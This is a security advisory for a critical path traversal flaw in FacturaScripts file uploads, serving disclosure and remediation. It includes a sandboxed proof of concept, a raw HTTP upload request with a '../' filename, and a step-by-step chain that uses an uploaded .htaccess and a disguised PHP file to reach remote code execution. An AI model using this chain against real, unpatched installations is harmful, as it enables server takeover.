GHSA-HGJX-R89M-M7V4

GHSA-HGJX-R89M-M7V4 is a critical-severity path traversal vulnerability in facturascripts/facturascripts (composer), affecting versions >= 2025, <= 2026.2. No fixed version is listed yet.

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Summary

FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName(), arbitrary file write outside MyFiles/ leading to RCE

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName(), the unsanitized client-supplied filename, as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file(), it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

  • Core/Controller/ApiUploadFiles.php:58, POST /api/3/uploadfiles
  • Core/Controller/ApiAttachedFiles.php:136, POST /api/3/attachedfiles
  • Core/Lib/Widget/WidgetFile.php:84, every form using a file widget
  • Core/Lib/Widget/WidgetLibrary.php:215, library widget upload
  • Core/Lib/ExtendedController/DocFilesTrait.php:51, document files trait
  • Core/Controller/AdminPlugins.php:260, plugin (zip) upload

Representative sink, Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1, Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload, it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2, Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt, Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3, Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

  1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
  2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
  3. Request https://target/Dinamic/Assets/x.png, Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points, including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

  • Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
  • Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
  • Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload, full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-HGJX-R89M-M7V4 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

facturascripts/facturascripts (>= 2025, <= 2026.2)

Security releases

Not available

Kodem intelligence

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Remediation advice

Minimal fix, sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

  • Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
  • After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
  • Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Frequently Asked Questions

  1. What is GHSA-HGJX-R89M-M7V4? GHSA-HGJX-R89M-M7V4 is a critical-severity path traversal vulnerability in facturascripts/facturascripts (composer), affecting versions >= 2025, <= 2026.2. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is GHSA-HGJX-R89M-M7V4? GHSA-HGJX-R89M-M7V4 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of facturascripts/facturascripts are affected by GHSA-HGJX-R89M-M7V4? facturascripts/facturascripts (composer) versions >= 2025, <= 2026.2 is affected.
  4. Is there a fix for GHSA-HGJX-R89M-M7V4? No fixed version is listed for GHSA-HGJX-R89M-M7V4 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is GHSA-HGJX-R89M-M7V4 exploitable, and should I be worried? Whether GHSA-HGJX-R89M-M7V4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-HGJX-R89M-M7V4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-HGJX-R89M-M7V4? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

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